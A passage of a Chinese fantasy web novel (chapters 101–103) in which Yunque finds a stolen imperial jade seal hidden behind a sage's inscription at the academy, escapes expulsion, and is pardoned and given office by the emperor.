“认字儿多麻烦!等我一统草原,抓十个教书先生跟着我不就行了,不认识的字都让他们念!”屠苏道。 “一统草原,你的志向够伟大,不过希望渺茫啊。”云缺道。 “所以我才来学宫求学!等我冲进六品,不!冲进五品我才肯回去!”屠苏豪迈道。 “嗯,五品的话,咱们或许有机会活着回家。”旁边的满申点头赞同。 屠苏一听顿时泄了气,哀声道: “来的时候憋着一口气,好不容易到了学宫,从来没想过怎么回去,哎,天祈皇城出不去,黑铁城更难爬呀。” 云缺听得好笑,道:“那你就冲击四品,到时候看谁挡得住。” “有道理!我们草原汉子最不缺骨气!”屠苏来了精神,蹦起来与满申切磋起来。 两人摔跤,比气力,摔得那叫一个痛快。 云缺看得手痒,起身道:“加我一个,你们俩一起来。” “好大的口气!” “我们可不客气了!” 屠苏和满申联手攻向云缺。 武夫吃饱之后,最喜欢的娱乐项目就是切磋打斗。 云缺刚刚进阶七品炼神境,正好用屠苏和满申来测试自身战力。 三个人开始了车轮战,拳来脚往,斗得不亦乐乎。 七品武夫的气力,恢复得极快,远非八品可比,云缺此时的力气无比充盈,连战三天三夜都没问题。 这是以前八品的时候,难以想象的。 无论速度还是力量,比起八品境界强大了太多。 尤其内劲的掌握,让云缺有一种脱胎换骨的感觉! 八品的时候,打出一拳就是一拳之力,没有任何加持,拳头上完全是外力。 到了七品,云缺打出一拳的同时,不仅外力变得更强,还能调动内劲,将拳力翻倍,攻击力无比惊人。 与两人的切磋中,云缺自行悟出了隔山打牛的手段。 一拳打在屠苏身上,却将其身后的满申给轰飞了出去。 这种手段,是七品炼神境武夫独有的能力,内劲施展的完美呈现。 三个人斗得热火朝天,从崖底打到了崖顶。 断崖并不完全平整,其上有不少落脚地,普通人上不去,七品武夫则毫无问题。 云缺刚来,并不知道悟心崖不许登顶的规矩,屠苏和满申打得高兴早把规矩忘到九霄云外。 三人不仅在崖顶打斗,最后跳在圣人遗迹上,继续拳脚不断。 刻有字迹的石块,相当于镶嵌在崖顶,哪里禁得住三个七品武夫的力道,很快有两块大石被震落,轰鸣落地。 石块落地的巨响,惊醒了打斗的三人。 “坏了!” 云缺大感不妙。 那是圣人笔迹,虽然摔不坏,但响动太大,肯定要惊动学宫里的学正。 屠苏和满申猛然清醒,两张大脸顿时变了颜色,急忙跳到崖底查看石块。 云缺刚想跳下去,忽然发现石块掉落后的山体凹槽内,好像有什么东西。 伸手摸了下,抓出来一个巴掌大小,四四方方的小盒子,做工十分精致。 好奇之下,云缺打开看了眼。 随后目光一变。 第101章 彼岸无花 盒子里装着一方白玉。 其上雕刻着一头如龙似虎的异兽,小巧精致惟妙惟肖。 这异兽云缺认得,传闻龙子之一,名曰螭虎。 认出异兽的同时,云缺脑海里想到一个词,天子玺以玉螭虎纽。 翻过来,果然底面刻着八个字。 ‘受命于天,既寿永昌。’ 玉玺! 云缺大为吃惊。 皇帝的玉玺,怎么会出现在学宫后山,还被藏在了圣人字迹后面? 来不及多想,云缺将玉玺收进怀里,跳到地面。 铁门后响起了急促的脚步声,有人正赶来查看。 让屠苏和满申将两块岩石赶紧放回原处,云缺几步奔到铁门前,将大门暂时挡住。 一人多高的石块,换成普通人肯定搬不动。 不过屠苏和满申这种七品武夫不在话下,一人扛起一块大石,往崖顶攀爬。 咚!咚!咚! 砸门声大起。 云缺一脚撑地,用另一个膝盖抵着大门,就是不开。 “开门!” 宋道理恼怒的声音在门后响起。 “稍等啊,大门坏了,马上修好!”云缺敷衍道。 “不用修!坏了我再做一扇!你退后!” 在宋道理怒喝的声音中,铁门上传来一股巨力。 以云缺七品武夫的力道险些没顶住。 “等等!我的腿卡住了!再撞腿就断了!” 云缺一边拖延时间,一边朝着屠苏和满申连连挥手,示意两人动作快点。 “你们到底在做什么!快开门!” 宋道理的喝声愈发恼怒。 一直拖延到屠苏和满申将石块重新安装好,云缺才退后。 哐当一声,铁门打开。 宋道理面沉似水的走了出来。 他先看了看面壁的三人,又扫了眼角落里熄灭不久的火堆和地瓜皮。 身为学宫事务堂总管,这么点猫腻宋道理哪能不清楚,只不过睁一只眼闭一只眼而已。 没理睬地瓜的事,宋道理的目光望向崖顶。 随后这位学正的表情变得精彩纷呈。 先是呆滞,接着惊恐,然后懊恼,最后变得面无人色,气得浑身颤抖。 云缺顺着宋道理的目光望去,看到了崖顶的圣人笔迹。 随后云缺无奈的叹了口气,捂住了额头。 大意了。 让两个不识字的饭桶去安装岩石,结果还给安反了! 原本八个字是: 沧海无尽,彼岸有花。 现在变成了: 沧海有尽,彼岸无花。 有和无两个字,调了位置。 这么明显,别说学宫学士,找个刚认字的娃娃来都能发现。 “你、你、你们这些逆徒!” 宋道理气得体若筛糠,两只手都在颤抖,他浑身起伏着一股惊人的气息波动,愤怒道: “圣人遗迹,天赐之物!你们敢踩落圣人笔迹,简直大逆不道!天祈学宫教不了你们这些狂徒,即日起!你们三个逐出学宫,永不录取!” 宋道理怒喝的同时,伴随着一阵汹涌的气浪,吹得三人站立不稳连连倒退。 在宋道理散发的气息面前,七品武夫竟难以立足! 云缺很清楚宋道理身上的,是精纯的文气,与道门的灵气类似,是施展儒家法术的核心力量。 这位事务堂总管,果然有着很强的修为。 这下屠苏和满申傻眼了,有心求饶,可宋道理散发的气息吹得他们根本张不开嘴。 云缺知道闯祸了。 但没想到这么严重。 掉块石头而已,按回去就是了,实在不行多闭门思过几天,何至于开除呢。 悟心崖,不仅是面壁之地,还被学宫视为圣地,毕竟有圣人亲笔遗迹在此,连整座小山都不可随意踏足。 云缺之前并不知道这规矩。 现在知道,也晚了。 看宋道理愤怒的模样,想要留在学宫,怕是很难。 正这时,一位略微驼背的老者从铁门内缓步走了出来,背着手,面带微笑,苍老的眼睛十分浑浊。 老者穿着普通的粗布长衫,一双布鞋,看起来平淡无奇。 看到老者,宋道理立刻收敛气息,恭恭敬敬的垂手而立,道: “大祭酒!您老怎么来了。” 出现的老者,正是在后山种了大片地瓜又留下一首地瓜诗的学宫大祭酒,秦蒙。 “人老了,睡得轻,听见响动便来瞧瞧。” 大祭酒语气温和,唠家常一样的说道,听起来就是个邻居老头,不认识的话很难想象这位老者竟掌管着整个天祈学宫。 “这几个学子顽劣不堪,不仅在演武殿群殴闹事,罚在悟心崖面壁也不老实,胆敢踩踏无名山不说,还将圣人遗迹踩落,简直不可救药!学生自作主张,将此三人开除学宫,以儆效尤。”宋道理沉声道。 大祭酒没表态,而是看了看云缺屠苏满申三人,微笑道: “新丰美酒斗十千,咸阳游侠多少年,人非圣贤,孰能无过,何况几个毛头小子。” 大祭酒的语气,显然在给云缺几人说情。 云缺多聪明,立刻躬身道: “学生一介乡下平民,新入学宫不知此地规矩,学生知错。” 既然大祭酒是个讲理的,那么不知者不怪这个道理,正好用得上。 没等大祭酒说话,宋道理怒气冲冲的道: “不知规矩,难道还不知圣人遗迹吗!你们敢在无名山上打闹,简直是踩在圣人头顶!不尊师不重道,大逆不道!” 宋道理这等儒家修士,对儒圣的尊崇已经到了一种狂热的地步,圣人遗迹只能用来瞻仰,岂能踩踏。 其实不难理解宋道理的愤怒。 儒圣开创了儒家修炼体系,相当于一派的开山祖师,后来者只能敬仰。 骂儒修什么都行,大不了拳脚相向,可一旦在儒家修士面前谩骂了儒圣,那儒家修士是会拼命的。 云缺无话可说。 屠苏和满申全都哭丧着脸,他们知道这里是禁地,可一打起来就头脑发热忘到脑后,现在冷静下来追悔莫及。 大祭酒呵呵笑了起来,道: “圣人头顶,并非踩不得,若有后来者能踩在圣人头顶再进一步,我想,儒圣他老人家也会高兴才对。” 大祭酒的一番话,听得宋道理哑口无言,沉默不语。 遥望着并不多高的无名荒山,大祭酒唏嘘感慨的道: “学问,用来齐家治国平天下,学问,是一块又一块的基石,需沿阶而上方可登顶高处,我们这些老家伙,修炼多年,一事无成,到老了,仅剩的希望便是成为一块基石,让年轻后辈踩在我们肩头,往前再多走几步。” 大祭酒说得平平静静,简简单单,可听在宋道理耳中,如同惊雷炸起。 宋道理紧紧皱着眉,沉默良久,朝着大祭酒躬身施礼,道: “学生受教了。” 随后宋道理瞪了眼云缺几人,道: “我收回之前开除的惩罚,不过,这三个学子着实顽劣,十天面壁,罚得太轻!” 大祭酒微笑道: “那就罚他们这十天面壁,不许吃烤地瓜。” 大祭酒开口,宋道理不敢不听,又狠狠的瞪了三人一眼,挥袖离去。 云缺与屠苏满申三人齐齐施礼,谢过大祭酒。 比起开除学宫,不吃烤地瓜这种惩罚简直和挠痒痒一样。 云缺至此松了一口气。 秦蒙微笑着看向三人,道:“你们,从何处来。” “草原来的!”屠苏急忙答道。 “我也是草原人!”满申答道。 大祭酒微微点头,又轻轻摇头,看向云缺。 云缺本想回答从青狐山而来,可看到大祭酒摇头,忽然心头一动。 “学生,从凡间来。”云缺恭敬答道。 “要到何处去。”大祭酒笑着问道。 “到天上去。”云缺答道。 “去做什么。”大祭酒道。 “听说仙人都大方,去赚他们点小钱儿。”云缺道。 “呵呵呵呵!我问过很多人这个问题,得到的答案五花八门,有人要去飞升成仙,有人想去九天揽月,还有人要去探索天外寻那长生不灭之法,唯独你,想去天上赚钱,不错,是个有慧根的。” 大祭酒捻着胡须笑道:“年轻人,应该多用心修炼,少些顽皮为好,装错的岩石,你们自己调换过来。” 三人齐声应是,转身跑向断崖准备将岩石调换。 大祭酒面带微笑,目光随之望向圣人笔迹。 看着看着,秦蒙浑浊的目光忽然变化起来。 就像一滩泥水,在刹那间转为清澈! 大祭酒的眼底再无浑浊,泛着一股慑人的光华,长长的寿眉也随之微微锁起。 当大祭酒目光变化的同时,云缺三人的脚步就此定住。 不是不想走,而是走不动! 三人好像陷入泥沼里,无论如何用力迈步,脚下纹丝不动! 这股力量玄奥而强大,绝非法术,仅仅是气息而已。 云缺心头暗惊。 单单散发出的气息波动就如此恐怖,这位大祭酒的修为将可怕到何种程度! 回头看去,云缺发现大祭酒正望着圣人字迹,带着有一种疑惑的神色。 仿佛遇到了什么难题。 良久,禁锢三人的气息消散。 大祭酒转身离去,临走前吩咐了一句话: “石块先这样吧,不用动了。” 既然大祭酒说不用调换,屠苏和满申大喜过望。 刚才他们一人扛一块巨石爬山,悬崖又陡峭,实在累得不轻,腰酸背痛,再来一次非得累趴下不可。 崖底很快只剩下云缺三人。 一场开除的危机,有惊无险的过去了。 屠苏和满申在暗暗庆幸,而云缺则盘坐在崖底,始终望着头顶那八个圣人遗留的大字。 大祭酒刚才的神色不对。 云缺觉得大祭酒肯定从这八个字中察觉到了什么。 可圣人字迹遗留了千年之久,秦蒙身为学宫之长的大祭酒,早就看过多次才对。 怎么今天有所感悟? “沧海有尽,彼岸无花……” 呢喃着安反了的字迹,云缺渐渐明悟一些东西,心里也愈发震惊起来。 沧海无尽,彼岸有花。 这句原话是对修行的理解与憧憬,令修行者们对艰苦修炼的未来,有一种苦尽甘来的期盼。 可如今反过来两个字,这句话的意义变得截然不同! 沧海有尽,彼岸无花。 意为修行之路有尽头,但修行的终点却没有鲜花存在,并不美好,甚至存在着无人得知的巨大危机! 前一句,是鼓励之言。 后一句,分明是警告! “彼岸……到底有花,还是没有花呢?” 云缺望着崖顶的字迹,陷入深深的沉思当中。 第102章 烧钱的无底洞 天牢。 石头这些天过得郁郁寡欢,心情低落。 自从几天前云缺被带走后,一直没回来,石头重新恢复了清汤寡水的饭食。 云缺不在,他可吃不到肉,喝不到酒。 尤其让石头郁闷的是,自从云缺被带走,天牢里每天的放风时间也被取消。 整天关在牢房里,石头快要闷死了,幸好墙上挖出来个洞,无聊的时候还能看看美人,打发时间。 今天石头吃完早饭,例行趴在墙上看阿梅。 他最喜欢看阿梅小口小口吃饭的模样,别提多美了。 然而一眼看去,石头忽然大惊起来。 隔壁的女人正卷缩在地,口吐白沫,痛苦的抽搐着。 “阿梅!阿梅你怎么了!来人呐!阿梅病倒了!快来人救命啊!” 石头的呼声,很快引来天牢狱卒。 查看过阿梅后,狱卒匆匆去禀报提刑官。 不多时,犁术快步赶到,身后跟着隶属刑部的郎中。 打开牢门,犁术让郎中赶紧查看阿梅的病情。 郎中把着脉,脸色愈发难看起来,低声道: “内热外寒,气血蒸腾,暴毙之兆!大人,这囚犯怕是活不过今天。” “能不能治!”犁术追问。 “这……”郎中为难了一下。 “说实话。”犁术道。 “应该有救,但属下的医术做不到,得去城内的大医馆,用上好的良药才有希望。”郎中如实道。 通常这种情况,提牢司是不会多管的,多说灌点汤药,活过来命大,活不过来直接将尸体扔到城外乱葬岗。 天牢里病死的囚犯,不在少数。 但犁术此刻神色焦急,直抽冷气,懊恼的自语道: “怎么偏偏她生病,这下麻烦了……” 阿梅,是个极为特殊的囚犯。 别的犯人不知道阿梅的来历,犁术作为提刑官自然一清二楚,他若不顾对方的生死,很容易被牵扯,没准会惹来大祸! 犹豫再三,犁术吩咐手下将阿梅抬出天牢,又调来十名刑部高手,犁术亲自带着阿梅离开刑部,赶往皇城内的大医馆治病。 到了医馆,犁术直接亮出自己四品提刑官的身份,叫来医术最高的郎中,不惜花费大量银两,给阿梅用最好的药。 经过一番及时治疗,阿梅的病症终于有所缓和。 犁术始终提着的心,这才放了下来,寸步不离的与一众刑部高手守在一旁。 不知是心情轻松的缘故,还是昨晚没睡好,犁术坐在医馆的包间里,一个劲的打哈欠。 没过多久,这位天牢提刑官便沉沉睡去。 旁边的十名刑部高手也一样,纷纷陷入梦境当中。 …… 清晨,百花殿饭堂。 穹舞今天的胃口不错,喝了一碗小米粥,吃了两个包子。 这些天来,她第一次吃得如此开心。 因为云缺被罚去后山面壁了。 想起云缺十天没有吃的,穹舞就觉得心情大好。 从饭堂出来,正准备返回南楼修炼,有位同窗女学子寻了来。 “穹舞!学宫门外有人找你。” “找我?” 穹舞第一时间觉得是那些觊觎自己的男学子,于是神色冷淡的道:“我没时间。” 说着往南楼走。 “对方说是你的家人。”传信的女学子道。 穹舞的脚步猛然一顿,匆匆转身,赶往学宫门口。 她的家人,早在几年前便已经死绝,世上唯独还剩下一个。 到了学宫门外,穹舞看到一个戴着小帽的身影,对方的帽檐压得很低,遮住了大半张面孔。 当穹舞来到近前,此人缓缓仰起头,现出了小帽下那张与穹舞一模一样的脸。 穹舞骤然绷紧了身体,眼圈发红,神色中透出一种激动与内疚。 来者只低声道出一句话。 “我要冲击六品。” 穹舞听闻后,毫不犹豫的重重点了下头。 …… 学宫后山,悟心崖。 云缺不再多想圣人遗迹的事,因为太过遥远。 沧海就够大了,自己这辈子都未必能游到头儿,管他彼岸有没有花。 云缺此时正思索着玉玺的事。 天牢里验尸之后,云缺猜测到皇宫丢了重宝,没想到是玉玺。 这东西对云缺来说没用,可是对皇帝来说,那是一国气运之所在,帝王无玺,皇位不稳,名不正言不顺。 究竟是谁偷了玉玺,又藏在学宫悟心崖? 云缺对那窃贼的身份愈发好奇。 这个人,有着极其敏锐的心智,将玉玺藏在圣人笔迹的后面,谁也想不到更找不到。 哪怕翻遍学宫,也找不到玉玺的蛛丝马迹。 圣人遗迹可不是轻易能动的,也就云缺这种新来的愣头青不知规矩,加上屠苏满申两个莽夫,才恰巧撞塌了岩石。 云缺之前推测凶手是庙堂中人,身有官职,此刻又加了一个线索。 对方能将玉玺藏在悟心崖,说明是学宫之人。 尽管范围变小,仍旧很难查出真凶。 因为学宫里有不少官宦人家的子弟,而且学宫出去的学子,很多都在当朝为官。 学宫规矩: 旁人不可擅入,唯有学子方可出入学宫,这里说的学子,自然也包括学成离开学宫的历届学子。 其实云缺对凶手的身份不太好奇,毕竟丢的又不是自家东西。 云缺只是觉得奇怪,为何凶手偏偏盗走玉玺呢。 这玩意根本卖不出去! 没人敢买,也就不值钱了,偷出来能有什么用? 凶手的目的,云缺始终猜不出来。 随后云缺开始考虑如何处理玉玺。 玉玺对所有人来说,其实都是没用的东西,换不到钱。 不过,对皇帝可是至宝! 唯有将玉玺交给皇帝,才能换来最大的好处。 “我先收着,有机会再说。” 云缺自顾自的嘀咕了一句。 天色已经大亮,旁边的屠苏和满申饿得肚子直叫。 “这才一天,还有九天,九天不吃饭,我会饿死的呀!” 屠苏哀嚎道。 “实在不行,我们继续吃草!”满申出主意道:“大汗觉得难以下咽的话,直接吞就好了!只要不嚼就不觉得难吃。” 两人正唉声叹气之际,云缺已经去挖地瓜了。 屠苏和满申看得奇怪,过去问道: “大祭酒不让我们吃,你还敢吃啊?” “我们闯了大祸,能留在学宫已经不容易了,不能再犯错了啊。” 云缺呵呵笑了两声,挖出一个地瓜道: “说你们笨还不信,大祭酒昨天怎么说的。” 屠苏挠着头道:“我们面壁的这几天,不许吃烤地瓜!” “对啊,大祭酒说的是不许吃烤地瓜,难道地瓜只能烤着吃么,还能煮着吃,蒸着吃,炖着吃,生吃。”云缺笑道:“高兴的话,我还能做成拔丝地瓜来吃呢。” 屠苏和满申闻言恍然大悟,两人直拍自己的脑瓜子。 “还是云缺你聪明!我怎么没想到!” “我不吃烤地瓜,我吃生的!” 两人一头钻进草堆,开始挖地瓜。 地瓜确实能生吃,这一点云缺很清楚,生的红薯口感脆脆的,还有些许甜味,足以果腹。 但一天三顿的生地瓜,连吃几天,谁都会觉得腻味。 “好想吃煮地瓜啊。”屠苏哀声道。 火折子倒是不缺,屠苏和满申都有,可偏偏后山这边没水。 “等下雨吧,没办法。”云缺道。 “这都三天了,也没见半点雨,等到啥时候啊,到哪弄点水呢……对了!” 屠苏灵机一动,拍了拍自己肚子道:“我们身上就有水啊!尿一天,足够煮地瓜了!” 云缺闻言瞪起了眼睛,怒斥道: “大汗你给我滚远点!以后你经手的食物别给我吃!饿死我也不碰!” 屠苏憨笑着挠了挠头,道: “是有点恶心哈!我要是学会赤炎拳就好了,两拳下去就能把地瓜砸熟!” “赤炎拳?什么功夫,说来听听。”云缺来了兴致。 “一种高深的拳法!去年演武殿的先生传授过一次,可惜没听太明白,没学会。”屠苏叹气道。 “先生演示过,一拳轰出,竟能燃起一股烈焰!可吓人了!”满申在旁边补充道。 “你们也去过演武殿偷听?” 云缺说完,两人憨笑着挠头,承认偶尔会溜过去,只要不被学正抓到一般没事。 “拳生烈焰,那不是法术了么?”云缺不解道。 “不是法术,是纯正的拳法!”屠苏回忆道:“我记得先生当时讲的是,以拳道震出天地间的五行之力,以气机融合火灵气,即可拳火相汇,施展出赤炎拳法。” 云缺听得入神,道: “武道,居然也能借助五行之力!到底怎么个震法儿?” 屠苏和满申两张大脸互相看了看,大眼瞪小眼的齐齐摇头。 如果会震的话,他们早学会了。 云缺叹了口气。 两个棒槌,问了也白问,等面壁惩罚结束,自己肯定先去演武殿的藏书楼瞧瞧。 武者,对于武道的痴迷,是与生俱来的。 云缺当然也不例外。 得知高的武道法门,云缺觉得心里直痒痒,恨不得一头扎进藏书楼,一年不出来。 “其实七品武夫学不学拳法不要紧,王八拳咱们也能揍人,关键是冲击六品的资源,实在让人头大。” 屠苏不知想起了什么,唉声叹气。 “你们在七品有些年头了吧,冲击六品准备得怎么样。”云缺问道。 “准备好了!”满申气势昂扬的道。 “真的假的!”云缺惊讶道。 “我身体准备好了,就是没钱!”满申硬气的道。 “要多少钱?”云缺道。 “据说至少得一个数!”屠苏比量个手指头。 “一万两?”云缺道。 屠苏和满申齐齐摇头。 “居然要十万两,确实太贵了。”云缺咂舌道。 两人还在摇头。 云缺瞪起了眼睛,道:“冲进宗师境到底多少钱才够?” 屠苏和满申异口同声的道: “一百万两!” 云缺愣在当场。 一百万两,这种天文数字他从来没想过,更没接触过。 “这还仅仅是淬体的材料钱,没有过硬的天赋和扎实的修为,有钱也冲不到宗师。”屠苏道。 “宗师境其实与九品八品的炼体炼骨有点类似,相当于更高层次的淬炼本体,先生说过,想成宗师,必须洗尽凡尘,将本体淬炼得一尘不染才有机会。”满申回忆道。 “对!我也想起来了,先生说,金沙淬体,灵气裹身!”屠苏道。 云缺之前从未接触过高层次的境界,听得愈发好奇,问道: “金沙淬体灵气裹身是什么意思,仔细说说。” “金沙淬体,指的是金沙草,七品武者必备之物,一小片就要五百两!可用来制成药浴慢慢淬炼本体。”屠苏道。 “灵气裹身,说的是以精纯灵气裹住肉身,以灵气逐渐渗透全身,达到灵气淬体的效果,有灵气的地方太少,一般都用灵石代替,一小块灵石价值一千两!”满申道。 得知了冲击宗师境需要的材料,云缺长长一叹。 六品宗师境,简直是烧钱的无底洞啊! 云缺这边被罚在悟心崖面壁的几天后,牧青瑶终于结束了十天的禁足。 小郡主咬着牙,缓慢的挪出了地牢。 的确是挪。 左手提着左裤腿,右手提着右裤腿的那种挪。 终于重见天日,牧青瑶差点哭出来,眼泪汪汪,瘪着小嘴儿,一副委屈模样。 这十天,大师姐可没放过她。 天天不是扎马,就是劈腿,再不就是练拳。 拳法没学会,不过劈腿大见成效。 现在灵芸郡主多了一份新能力,可以轻而易举的来个一字马。 怀着满心委屈,牧青瑶登上了司天监最高处的观星台。 她要找师尊评评理。 最主要的,是让师尊帮忙救出云缺。 牧青瑶并不知道,她被禁足的这十天里,云缺的人生轨迹发生了天翻地覆的变化,身份从天牢囚犯一跃成为学宫学子,只是处境没什么变化,始终是关押状态。 第103章 云缺升官 观星台,司天监最高处的一座高台,可俯瞰整个天祈皇城。 当牧青瑶登到顶端,终于看到了那道常年一袭青衣的身影。 一名中年男子在高台边缘负手而立,容貌平凡,却有一身儒雅之气,高处风大,却吹不动此人的一根发丝。 此人,便是当今司天监的监正,大晋三柱国之一的吕青。 “弟子牧青瑶,拜见师尊。” 牧青瑶恭恭敬敬的施礼道。 吕青背对着牧青瑶,并未回身,开口道: “此行,可有收获。” 语气温和,听不出期待也听不出责怪,平静得毫无波澜。 “弟子此行未曾找到灵花,但弟子体会到了灵花的真谛,只要大晋子民都能坚守家园,永不放弃,那么天下间,人人都是灵花。” 牧青瑶说这话的时候,她脑海里想到的,是百玉城那一夜与云缺奔波救治百姓的画面。 “人人如花,人人如龙,当可万世盛平。” 吕青的语气多了些感慨,转过身,望向他最小的弟子,温和道:“百玉城鼠疫之事,为师已有耳闻,你做得不错,有勇有谋,舍身为民,配得上圣人门生的身份。” “是师尊教导有方。”牧青瑶谦虚道,随后话锋一转:“其实当时有人帮我,他一路护送我到皇城……” 牧青瑶话没说完,便被吕青打断。 “你觉得,云缺这个人,怎么样。” 吕青语气淡然的道。 牧青瑶抿了抿唇,她知道云缺的消息是瞒不住的,师尊肯定会知道。 “他……” 牧青瑶回想着与云缺朝夕相处的一幕幕往事,一时难以用语言形容,道:“是个很纯粹的人。” “纯粹的人。” 吕青重复着这个有些模糊的字眼,点点头,道:“他是世上最后一位猎妖人,你觉得,他能否撑得起斩妖司。” 牧青瑶沉默了一下。 师尊的希望,也是她曾经的希望,但现在牧青瑶的心态早已转变。 “弟子觉得,学宫更适合云缺。”牧青瑶轻声道。 说完便低下头,她认为师尊会生气,毕竟斩妖司是大晋司天监最为希望得到的东西,是大晋最欠缺的战力,云缺的能力勿需质疑,别人或许不了解,但师尊肯定一清二楚。 毕竟吕青在前朝大燕便是司天监的强者。 “人各有志,我并非不讲理的人,他若来司天监,我欢迎,他若不来,我不会强求。” 吕青说着将一张奏折交给牧青瑶,道: “乌家寨地底的战巫尸体,司天监已经验过,其制作的配方极其古老,绝非乌家能得到的东西,移平乌家寨,云缺该为首功,你拿去交给陛下即可。” 牧青瑶立刻高兴起来。 有了司天监的证明,云缺即可洗刷冤屈,不用坐牢了。 可想到学宫考核已经过去了好几天,牧青瑶又变得闷闷不乐,她认为云缺最早也得明年才能进学宫。 吕青转过身,遥望着远处的天边,道: “云缺已经在学宫了,今日大朝会,去吧。” 牧青瑶闻言愣了一下,接着心中大喜,拿着奏折匆匆赶往皇宫,下楼的时候腿也不疼了,腰也不酸了,脚步飞快。 她要为云缺去请功,替萍山君和常威请功! 牧青瑶觉得,萍山君和常威与瞎子,肯定在六品高手的恶战之中被杀。 灵芸郡主不是忘恩负义的人,哪怕对方死了,这份功劳,不能不管。 皇宫,金銮殿。 一众文武群臣汇聚在门外,等待着上朝面圣。 其他人有说有笑,唯独天牢提刑官犁术,至始至终一副苦瓜脸。 云缺从天牢逃走已经好几天了,刑部派遣人手寻遍全城,半点消息也没有。 这件事不小,刑部已经压不住了,只能禀明皇帝。 而他犁术,便是刑部推出来背锅的。 谁让他是提刑官呢,他掌管天牢,有囚犯逃脱,自然他的责任最大。 上朝后,犁术把心一横,第一个上奏。 早晚都是大祸临头,早死晚死一个样。 犁术多年为官,心眼不少,他没先说云缺的事,而是先提及了另一名囚犯。 “启奏陛下!天牢重犯穹音前日突发恶疾,情况危急,微臣连夜救治,终于抢救了回来,如今病情已经稳定,修养些时日即可痊愈。” 犁术说完,在场的群臣纷纷神色变化起来。 皇帝皱了皱眉,沉吟好一阵儿才点点头,竟什么也没说。 皇帝不说话,其他人更不敢多嘴,尤其涉及到穹家人,没人愿意多提半个字。 随后犁术硬着头皮将天牢重犯逃狱的事说了出来,他没说云缺的名字,而是先添油加醋把云缺说成大恶不赦,狡诈阴险,趁着提审的机会打晕天牢令史从而逃狱。 犁术说完,皇帝的脸色变得阴沉起来。 啪! 一声脆响,书案被皇帝狠狠的拍了一下。 “天牢重犯也能逃脱,你们提牢司是做什么的!堂堂天牢,难道成了客栈不成!说进就进,说走就走!” 皇帝震怒。 天牢不是别的地方,这要时不时的跑出去几个,不仅刑部,连皇帝都得沦为笑柄。 “摘了他的乌纱!” 殷子受怒喝道。 立刻有禁军上前,直接将犁术的乌纱帽摘掉。 犁术早知道如此,他现在不求别的,能保住脑袋就算万幸。 当皇帝思索着如何处置犁术之际,灵芸郡主匆匆赶到。 牧青瑶与其他郡主不同,有着能参加大朝会的资格,到了后,立刻呈上监正的奏折。 殷子受翻看了一下,眉峰紧锁。 刑部其实已经彻查了乌家寨之事,得出的结论,是乌家拥兵自重图谋不轨。 可监正的这份奏折,点出乌家寨之事背后,还蕴含着更大的危机。 以古方秘制的战巫,有可能牵扯到神秘而强大的修行势力。 殷子受由此想到了那个他并未在意的红莲教。 牧青瑶趁机当着满朝文武的面,为云缺申冤,并将返回皇城路上的种种危机一并道出。 从藏石镇三名武者作乱,到大石村养鬼,从百玉城鼠疫,到八山城诛杀佟岐,点燃烽火瞒天过海,灵芸郡主的口才极好,将这番经历讲得简洁明了,精彩纷呈。 说到惊险处,文武百官当中不少人发出低呼,连皇帝也听入了神。 在牧青瑶讲述的经历中,云缺真正的身份被隐瞒了下去,只说云缺是个从小以猎妖为生的孤儿武者。 说完,牧青瑶声音清脆的道: “若无云缺护送,灵芸郡主活不到今日,恳求陛下赦免云缺,还他清白!” 殷子受无奈的叹了口气。 当着文武百官的面,看似讲故事,实则你今天是来逼宫的啊。 “既然真相大白,赦云缺无罪。”殷子受就此下了圣旨。 至此,云缺从天牢重犯,恢复了无罪之身。 其他文武群臣都觉得该当如此,唯独犁术瞪着眼,一脸呆滞,他此刻悔得肠子都青了。 早知道灵芸郡主会来,他就该多等一会儿再说逃狱的事儿。 这下好了, 逃狱的家伙无罪,他这个提刑官丢了乌纱,简直倒霉透顶! 随后牧青瑶一口气替萍山君求行妖令,替常威求无罪身,皇帝统统答应下来。 到最后殷子受被气乐了,问道: “你这丫头还想要什么好处,一起说出来,省得一样一样的讨要,耽搁时间。” 整个大晋,能让皇帝说这种蕴含宠溺的气话的,唯有灵芸郡主一个。 “还有云缺的封赏。” 牧青瑶直言道:“不仅护送我平安返回,云缺还屠灭了意图不轨的乌家寨,杀掉了残害忠良的偏将佟岐,并且挖出军弩重器外流的线索,这些功劳,他当之无愧。” 皇帝在沉吟。 旁边站在文臣之首的一名清瘦老者开口道: “有勇有谋,此子不凡,陛下该当重用才是。” 说话的,是当朝首辅,年过七旬的文阁大学士,周史伯。 殷子受缓缓点头,道: “来人,拟旨,封云缺入朝为官,入刑部,官居五品,暂代提刑官一职,赏白银万两,赐皇城北街府邸一座。” 听闻封赏,群臣纷纷咂舌。 这份封赏,绝对堪称惊人了! 一上来就是五品官! 还暂代提刑官,要知道提刑官是四品官职,暂代的话,就是说将来有很大机会成为正式职务。 殷子受虽然有些懊恼着云缺与牧青瑶走得过近,但他知道什么人该重用,如此大功,若不给个足够份量的封赏,那么寒的就不是云缺一个人的心,而是天下人的心。 有功则赏,有罪重罚,这是皇帝必须知道的道理。 殷子受能稳坐皇位十五年,并不是愣头青。 正好犁术这个提刑官被摘了乌纱,空出个位置,皇帝本就迁怒刑部提牢司,于是顺手给了云缺。 既然你们提牢司连天牢都守不住,那就让个能打的上位。 圣旨很快写好,接下来就该云缺上殿领旨,一众群臣的目光纷纷望向犁术。 云缺在天牢押着呢。 犁术此时都快哭了,苦着脸启奏道:“陛下,天牢里逃走的重犯,就是云缺啊!” 殷子受都听得一怔。 群臣望向犁术的目光也随之变得古怪起来,都在看倒霉蛋儿。 “那云缺,到底在何处。”殷子受沉声道。 “回禀陛下,云缺已经考入天祈学宫,我马上去通知他。”牧青瑶如实答道。 一听云缺居然成了学宫学子,殷子受的目光微微变化了一下。 得知玉玺在学宫后,殷子受更加为难。 他无法派人去学宫搜查,因为天祈学宫根本不归大晋管辖,皇帝也没有这个资格。 唯有派遣心腹暗中寻找这一条路可走。 然而能进学宫的,必须是学子才行,殷子受自从得知玉玺在学宫,他现在不相信任何学宫的学子,觉得所有学子都有嫌疑。 而云缺是个例外。 因为玉玺丢失之际,云缺和牧青瑶还没进皇城,一点嫌疑都没有。 沉吟稍许,殷子受点头赞道: “文武双全,不错,既然如此,再封云缺为太子伴读,御赐东宫行走。” 第二次的封赏,虽然没有多少实际好处,但群臣听得纷纷心头暗惊。 首辅周史伯眉头微动,看了皇帝一眼。 太子伴读这个身份,相当于拉进了云缺与皇室的关系,皇帝此举,简直是将云缺视为心腹一样。 东宫行走,就是随便出入东宫,无需招呼,与灵芸郡主能随意出入皇宫的资格类似。 这是份罕见的殊荣! 